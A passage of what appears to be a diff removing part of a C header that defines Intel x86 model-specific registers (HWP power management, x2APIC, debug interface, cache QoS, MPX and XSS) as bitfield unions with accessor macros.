CPUID.06H:EAX.[7] = 1 - */ -#define IA32_PM_ENABLE 0x00000770 -typedef union -{ - struct - { - /** - * [Bit 0] HWP_ENABLE. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.2(Enabling HWP)] - */ - uint64_t hwp_enable : 1; -#define IA32_PM_ENABLE_HWP_ENABLE_BIT 0 -#define IA32_PM_ENABLE_HWP_ENABLE_FLAG 0x01 -#define IA32_PM_ENABLE_HWP_ENABLE_MASK 0x01 -#define IA32_PM_ENABLE_HWP_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_pm_enable_register; - - -/** - * HWP Performance Range Enumeration. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_HWP_CAPABILITIES 0x00000771 -typedef union -{ - struct - { - /** - * [Bits 7:0] Highest_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t highest_performance : 8; -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_BIT 0 -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_FLAG 0xFF -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_HIGHEST_PERFORMANCE(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Guaranteed_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t guaranteed_performance : 8; -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_BIT 8 -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_FLAG 0xFF00 -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_GUARANTEED_PERFORMANCE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Most_Efficient_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t most_efficient_performance : 8; -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_BIT 16 -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_FLAG 0xFF0000 -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_MOST_EFFICIENT_PERFORMANCE(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Lowest_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.3(HWP Performance Range and Dynamic Capabilities)] - */ - uint64_t lowest_performance : 8; -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_BIT 24 -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_FLAG 0xFF000000 -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE_MASK 0xFF -#define IA32_HWP_CAPABILITIES_LOWEST_PERFORMANCE(_) (((_) >> 24) & 0xFF) - uint64_t reserved1 : 32; - }; - - uint64_t flags; -} ia32_hwp_capabilities_register; - - -/** - * Power Management Control Hints for All Logical Processors in a Package. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - */ -#define IA32_HWP_REQUEST_PKG 0x00000772 -typedef union -{ - struct - { - /** - * [Bits 7:0] Minimum_Performance. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t minimum_performance : 8; -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_BIT 0 -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_FLAG 0xFF -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Maximum_Performance. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t maximum_performance : 8; -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_BIT 8 -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_FLAG 0xFF00 -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Desired_Performance. - * - * @remarks If CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t desired_performance : 8; -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_BIT 16 -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_FLAG 0xFF0000 -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Energy_Performance_Preference. - * - * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[10] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t energy_performance_preference : 8; -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF -#define IA32_HWP_REQUEST_PKG_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) - - /** - * [Bits 41:32] Activity_Window. - * - * @remarks If CPUID.06H:EAX.[11] = 1 && CPUID.06H:EAX.[9] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t activity_window : 10; -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_BIT 32 -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_FLAG 0x3FF00000000 -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW_MASK 0x3FF -#define IA32_HWP_REQUEST_PKG_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) - uint64_t reserved1 : 22; - }; - - uint64_t flags; -} ia32_hwp_request_pkg_register; - - -/** - * Control HWP Native Interrupts. - * - * @remarks If CPUID.06H:EAX.[8] = 1 - */ -#define IA32_HWP_INTERRUPT 0x00000773 -typedef union -{ - struct - { - /** - * [Bit 0] EN_Guaranteed_Performance_Change. - * - * @remarks If CPUID.06H:EAX.[8] = 1 - * @see Vol3B[14.4.6(HWP Notifications)] - */ - uint64_t en_guaranteed_performance_change : 1; -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 -#define IA32_HWP_INTERRUPT_EN_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] EN_Excursion_Minimum. - * - * @remarks If CPUID.06H:EAX.[8] = 1 - * @see Vol3B[14.4.6(HWP Notifications)] - */ - uint64_t en_excursion_minimum : 1; -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_BIT 1 -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_FLAG 0x02 -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM_MASK 0x01 -#define IA32_HWP_INTERRUPT_EN_EXCURSION_MINIMUM(_) (((_) >> 1) & 0x01) - uint64_t reserved1 : 62; - }; - - uint64_t flags; -} ia32_hwp_interrupt_register; - - -/** - * Power Management Control Hints to a Logical Processor. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_HWP_REQUEST 0x00000774 -typedef union -{ - struct - { - /** - * [Bits 7:0] Minimum_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t minimum_performance : 8; -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_BIT 0 -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_FLAG 0xFF -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_MINIMUM_PERFORMANCE(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Maximum_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t maximum_performance : 8; -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_BIT 8 -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_FLAG 0xFF00 -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Desired_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t desired_performance : 8; -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_BIT 16 -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_FLAG 0xFF0000 -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Energy_Performance_Preference. - * - * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[10] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t energy_performance_preference : 8; -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) - - /** - * [Bits 41:32] Activity_Window. - * - * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[9] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t activity_window : 10; -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_BIT 32 -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_FLAG 0x3FF00000000 -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_MASK 0x3FF -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) - - /** - * [Bit 42] Package_Control. - * - * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t package_control : 1; -#define IA32_HWP_REQUEST_PACKAGE_CONTROL_BIT 42 -#define IA32_HWP_REQUEST_PACKAGE_CONTROL_FLAG 0x40000000000 -#define IA32_HWP_REQUEST_PACKAGE_CONTROL_MASK 0x01 -#define IA32_HWP_REQUEST_PACKAGE_CONTROL(_) (((_) >> 42) & 0x01) - uint64_t reserved1 : 21; - }; - - uint64_t flags; -} ia32_hwp_request_register; - - -/** - * Log bits indicating changes to Guaranteed & excursions to Minimum. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_HWP_STATUS 0x00000777 -typedef union -{ - struct - { - /** - * [Bit 0] Guaranteed_Performance_Change. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.5(HWP Feedback)] - */ - uint64_t guaranteed_performance_change : 1; -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 2] Excursion_To_Minimum. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.5(HWP Feedback)] - */ - uint64_t excursion_to_minimum : 1; -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_BIT 2 -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_FLAG 0x04 -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_MASK 0x01 -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 61; - }; - - uint64_t flags; -} ia32_hwp_status_register; - - -/** - * x2APIC ID Register. - * - * @remarks If CPUID.01H:ECX[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @see Vol3A[10.12(EXTENDED XAPIC (X2APIC))] - */ -#define IA32_X2APIC_APICID 0x00000802 - - /** - * x2APIC Version Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_VERSION 0x00000803 - - /** - * x2APIC Task Priority Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_TPR 0x00000808 - - /** - * x2APIC Processor Priority Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_PPR 0x0000080A - - /** - * x2APIC EOI Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_EOI 0x0000080B - - /** - * x2APIC Logical Destination Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LDR 0x0000080D - - /** - * x2APIC Spurious Interrupt Vector Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_SIVR 0x0000080F - /** - * @defgroup ia32_x2apic_isr \ - * IA32_X2APIC_ISR(n) - * - * x2APIC In-Service Register Bits (n * 32 + 31):(n * 32). - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @{ - */ -#define IA32_X2APIC_ISR0 0x00000810 -#define IA32_X2APIC_ISR1 0x00000811 -#define IA32_X2APIC_ISR2 0x00000812 -#define IA32_X2APIC_ISR3 0x00000813 -#define IA32_X2APIC_ISR4 0x00000814 -#define IA32_X2APIC_ISR5 0x00000815 -#define IA32_X2APIC_ISR6 0x00000816 -#define IA32_X2APIC_ISR7 0x00000817 - /** - * @} - */ - - /** - * @defgroup ia32_x2apic_tmr \ - * IA32_X2APIC_TMR(n) - * - * x2APIC Trigger Mode Register Bits (n * 32 + 31):(n * 32). - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @{ - */ -#define IA32_X2APIC_TMR0 0x00000818 -#define IA32_X2APIC_TMR1 0x00000819 -#define IA32_X2APIC_TMR2 0x0000081A -#define IA32_X2APIC_TMR3 0x0000081B -#define IA32_X2APIC_TMR4 0x0000081C -#define IA32_X2APIC_TMR5 0x0000081D -#define IA32_X2APIC_TMR6 0x0000081E -#define IA32_X2APIC_TMR7 0x0000081F - /** - * @} - */ - - /** - * @defgroup ia32_x2apic_irr \ - * IA32_X2APIC_IRR(n) - * - * x2APIC Interrupt Request Register Bits (n * 32 + 31):(n * 32). - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @{ - */ -#define IA32_X2APIC_IRR0 0x00000820 -#define IA32_X2APIC_IRR1 0x00000821 -#define IA32_X2APIC_IRR2 0x00000822 -#define IA32_X2APIC_IRR3 0x00000823 -#define IA32_X2APIC_IRR4 0x00000824 -#define IA32_X2APIC_IRR5 0x00000825 -#define IA32_X2APIC_IRR6 0x00000826 -#define IA32_X2APIC_IRR7 0x00000827 - /** - * @} - */ - - - /** - * x2APIC Error Status Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_ESR 0x00000828 - - /** - * x2APIC LVT Corrected Machine Check Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_CMCI 0x0000082F - - /** - * x2APIC Interrupt Command Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_ICR 0x00000830 - - /** - * x2APIC LVT Timer Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_TIMER 0x00000832 - - /** - * x2APIC LVT Thermal Sensor Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_THERMAL 0x00000833 - - /** - * x2APIC LVT Performance Monitor Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_PMI 0x00000834 - - /** - * x2APIC LVT LINT0 Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_LINT0 0x00000835 - - /** - * x2APIC LVT LINT1 Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_LINT1 0x00000836 - - /** - * x2APIC LVT Error Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_ERROR 0x00000837 - - /** - * x2APIC Initial Count Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_INIT_COUNT 0x00000838 - - /** - * x2APIC Current Count Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_CUR_COUNT 0x00000839 - - /** - * x2APIC Divide Configuration Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_DIV_CONF 0x0000083E - - /** - * x2APIC Self IPI Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_SELF_IPI 0x0000083F - - /** - * Silicon Debug Feature Control. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ -#define IA32_DEBUG_INTERFACE 0x00000C80 -typedef union -{ - struct - { - /** - * @brief Enable (R/W) - * - * [Bit 0] BIOS set 1 to enable Silicon debug features. Default is 0. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ - uint64_t enable : 1; -#define IA32_DEBUG_INTERFACE_ENABLE_BIT 0 -#define IA32_DEBUG_INTERFACE_ENABLE_FLAG 0x01 -#define IA32_DEBUG_INTERFACE_ENABLE_MASK 0x01 -#define IA32_DEBUG_INTERFACE_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 29; - - /** - * @brief Lock (R/W) - * - * [Bit 30] If 1, locks any further change to the MSR. The lock bit is set automatically on the first SMI assertion even if - * not explicitly set by BIOS. Default is 0. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ - uint64_t lock : 1; -#define IA32_DEBUG_INTERFACE_LOCK_BIT 30 -#define IA32_DEBUG_INTERFACE_LOCK_FLAG 0x40000000 -#define IA32_DEBUG_INTERFACE_LOCK_MASK 0x01 -#define IA32_DEBUG_INTERFACE_LOCK(_) (((_) >> 30) & 0x01) - - /** - * @brief Debug Occurred (R/O) - * - * [Bit 31] This "sticky bit" is set by hardware to indicate the status of bit 0. Default is 0. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ - uint64_t debug_occurred : 1; -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_BIT 31 -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_FLAG 0x80000000 -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_MASK 0x01 -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED(_) (((_) >> 31) & 0x01) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_debug_interface_register; - - -/** - * L3 QOS Configuration. - * - * @remarks If ( CPUID.(EAX=10H, ECX=1):ECX.[2] = 1 ) - */ -#define IA32_L3_QOS_CFG 0x00000C81 -typedef union -{ - struct - { - /** - * @brief Enable (R/W) - * - * [Bit 0] Set 1 to enable L3 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. - */ - uint64_t enable : 1; -#define IA32_L3_QOS_CFG_ENABLE_BIT 0 -#define IA32_L3_QOS_CFG_ENABLE_FLAG 0x01 -#define IA32_L3_QOS_CFG_ENABLE_MASK 0x01 -#define IA32_L3_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_l3_qos_cfg_register; - - -/** - * L2 QOS Configuration. - * - * @remarks If ( CPUID.(EAX=10H, ECX=2):ECX.[2] = 1 ) - */ -#define IA32_L2_QOS_CFG 0x00000C82 -typedef union -{ - struct - { - /** - * @brief Enable (R/W) - * - * [Bit 0] Set 1 to enable L2 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. - */ - uint64_t enable : 1; -#define IA32_L2_QOS_CFG_ENABLE_BIT 0 -#define IA32_L2_QOS_CFG_ENABLE_FLAG 0x01 -#define IA32_L2_QOS_CFG_ENABLE_MASK 0x01 -#define IA32_L2_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_l2_qos_cfg_register; - - -/** - * Monitoring Event Select Register. - * - * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) - */ -#define IA32_QM_EVTSEL 0x00000C8D -typedef union -{ - struct - { - /** - * @brief Event ID - * - * [Bits 7:0] ID of a supported monitoring event to report via IA32_QM_CTR. - */ - uint64_t event_id : 8; -#define IA32_QM_EVTSEL_EVENT_ID_BIT 0 -#define IA32_QM_EVTSEL_EVENT_ID_FLAG 0xFF -#define IA32_QM_EVTSEL_EVENT_ID_MASK 0xFF -#define IA32_QM_EVTSEL_EVENT_ID(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 24; - - /** - * @brief Resource Monitoring ID - * - * [Bits 63:32] ID for monitoring hardware to report monitored data via IA32_QM_CTR. - * - * @remarks Bits [N+31:32] N = Ceil (Log2 (CPUID.(EAX= 0FH,ECX=0H).EBX[31:0] + 1)) - */ - uint64_t resource_monitoring_id : 32; -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_BIT 32 -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF00000000 -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_qm_evtsel_register; - - -/** - * Monitoring Counter Register. - * - * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) - */ -#define IA32_QM_CTR 0x00000C8E -typedef union -{ - struct - { - /** - * [Bits 61:0] Resource Monitored Data. - */ - uint64_t resource_monitored_data : 62; -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_BIT 0 -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_FLAG 0x3FFFFFFFFFFFFFFF -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_MASK 0x3FFFFFFFFFFFFFFF -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA(_) (((_) >> 0) & 0x3FFFFFFFFFFFFFFF) - - /** - * @brief Unavailable - * - * [Bit 62] If 1, indicates data for this RMID is not available or not monitored for this resource or RMID. - */ - uint64_t unavailable : 1; -#define IA32_QM_CTR_UNAVAILABLE_BIT 62 -#define IA32_QM_CTR_UNAVAILABLE_FLAG 0x4000000000000000 -#define IA32_QM_CTR_UNAVAILABLE_MASK 0x01 -#define IA32_QM_CTR_UNAVAILABLE(_) (((_) >> 62) & 0x01) - - /** - * @brief Error - * - * [Bit 63] If 1, indicates an unsupported RMID or event type was written to IA32_PQR_QM_EVTSEL. - */ - uint64_t error : 1; -#define IA32_QM_CTR_ERROR_BIT 63 -#define IA32_QM_CTR_ERROR_FLAG 0x8000000000000000 -#define IA32_QM_CTR_ERROR_MASK 0x01 -#define IA32_QM_CTR_ERROR(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_qm_ctr_register; - - -/** - * Resource Association Register. - * - * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[12] = 1) or (CPUID.(EAX=07H, ECX=0):EBX[15] = 1 ) ) - */ -#define IA32_PQR_ASSOC 0x00000C8F -typedef union -{ - struct - { - /** - * @brief Resource Monitoring ID (R/W) - * - * [Bits 31:0] ID for monitoring hardware to track internal operation, e.g., memory access. - * - * @remarks Bits [N-1:0] N = Ceil (Log2 (CPUID.(EAX= 0FH, ECX=0H).EBX[31:0] +1)) 31:N Reserved - */ - uint64_t resource_monitoring_id : 32; -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_BIT 0 -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * @brief COS (R/W) - * - * [Bits 63:32] The class of service (COS) to enforce (on writes); returns the current COS when read. - * - * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[15] = 1 ) - */ - uint64_t cos : 32; -#define IA32_PQR_ASSOC_COS_BIT 32 -#define IA32_PQR_ASSOC_COS_FLAG 0xFFFFFFFF00000000 -#define IA32_PQR_ASSOC_COS_MASK 0xFFFFFFFF -#define IA32_PQR_ASSOC_COS(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_pqr_assoc_register; - - -/** - * Supervisor State of MPX Configuration. - * - * @remarks If (CPUID.(EAX=07H, ECX=0H):EBX[14] = 1) - */ -#define IA32_BNDCFGS 0x00000D90 -typedef union -{ - struct - { - /** - * [Bit 0] Enable Intel MPX in supervisor mode. - */ - uint64_t enable : 1; -#define IA32_BNDCFGS_ENABLE_BIT 0 -#define IA32_BNDCFGS_ENABLE_FLAG 0x01 -#define IA32_BNDCFGS_ENABLE_MASK 0x01 -#define IA32_BNDCFGS_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Preserve the bounds registers for near branch instructions in the absence of the BND prefix. - */ - uint64_t bnd_preserve : 1; -#define IA32_BNDCFGS_BND_PRESERVE_BIT 1 -#define IA32_BNDCFGS_BND_PRESERVE_FLAG 0x02 -#define IA32_BNDCFGS_BND_PRESERVE_MASK 0x01 -#define IA32_BNDCFGS_BND_PRESERVE(_) (((_) >> 1) & 0x01) - uint64_t reserved1 : 10; - - /** - * [Bits 63:12] Base Address of Bound Directory. - */ - uint64_t bound_directory_base_address : 52; -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_BIT 12 -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_FLAG 0xFFFFFFFFFFFFF000 -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_MASK 0xFFFFFFFFFFFFF -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFFFFFFFFFF) - }; - - uint64_t flags; -} ia32_bndcfgs_register; - - -/** - * Extended Supervisor State Mask. - * - * @remarks If ( CPUID.(0DH, 1):EAX.[3] = 1 - */ -#define IA32_XSS 0x00000DA0 -typedef union -{ - struct - { - uint64_t reserved1 : 8; - - /** - * [Bit 8] Trace Packet Configuration State. - */ - uint64_t trace_packet_configuration_state : 1; -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_BIT 8 -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_FLAG 0x100 -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_MASK 0x01 -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 55; - }; - - uint64_t flags; -} ia32_xss_register; - - -/** - * Package Level Enable/disable HDC. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_PKG_HDC_CTL 0x00000DB0 -typedef union -{ - struct - { - /** - * @brief HDC_Pkg_Enable (R/W) - * - * [Bit 0] Force HDC idling or wake up HDC-idled logical processors in the package. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - * @see Vol3B[14.5.2(Package level Enabling HDC)] - */ - uint64_t hdc_pkg_enable : 1; -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_BIT 0 -#define 